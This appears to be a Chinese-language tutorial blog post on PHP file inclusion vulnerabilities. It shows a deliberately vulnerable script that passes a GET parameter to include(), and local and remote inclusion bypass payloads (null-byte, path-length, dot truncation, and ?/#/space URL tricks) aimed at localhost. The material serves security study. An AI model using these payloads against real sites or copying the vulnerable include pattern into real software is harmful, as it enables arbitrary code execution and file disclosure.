• 文件包含


    定义

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

    利用函数

    php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

    require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
    
    include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
    
    include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含
    
    require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含 

    本地文件包含

    测试代码

    <?php
    
        $filename  = $_GET['filename'];    
    
        include($filename);
    
    ?>

    结果

    本地文件包含绕过限制

    %00截断

    条件:magic_quotes_gpc = Off

              php版本<5.3.4

    payload:http://localhost/test.php?filename=phpinfo.php%00

    路径长度截断

    条件:windows,点号需要长于256

              linux,长于4096

    Windows下目录最大长度为256字节,超出的部分会被丢弃;
    
    Linux下目录最大长度为4096字节,超出的部分会被丢弃。 

    payload:http://localhost/test.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././

    点号截断

    条件:windows OS,点号需要长于256

    与路径长度截断类似,长度大于规定程度即可

     payload:http://localhost/test.php?filename=phpinfo.php................................................................................

    远程文件包含

    测试代码

    <?php
    
        $filename  = $_GET['filename'];    
    
        include($filename);
    
    ?>

    漏洞前提条件:allow_url_include需要开启,允许url include

    远程文件包含绕过限制

    主要是利用了url的解析

    ?号绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt?

    #号绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt#

    空格绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt%20

    上面例子url都是http协议的,还有其他伪协议也可以,

  • 相关阅读:
    【数组】Unique Paths II
    【数组】Unique Paths
    【数组】word search
    购物网站布局实战
    Javascript显示和隐式类型转换
    JS检测数据类型
    从setTimeout谈js运行机制
    0.1 + 0.2 = 0.30000000000000004怎样理解
    (译)详解javascript立即执行函数表达式(IIFE)
    Redis
  • 原文地址:https://www.cnblogs.com/alummox/p/11871038.html
Copyright © 2020-2023  润新知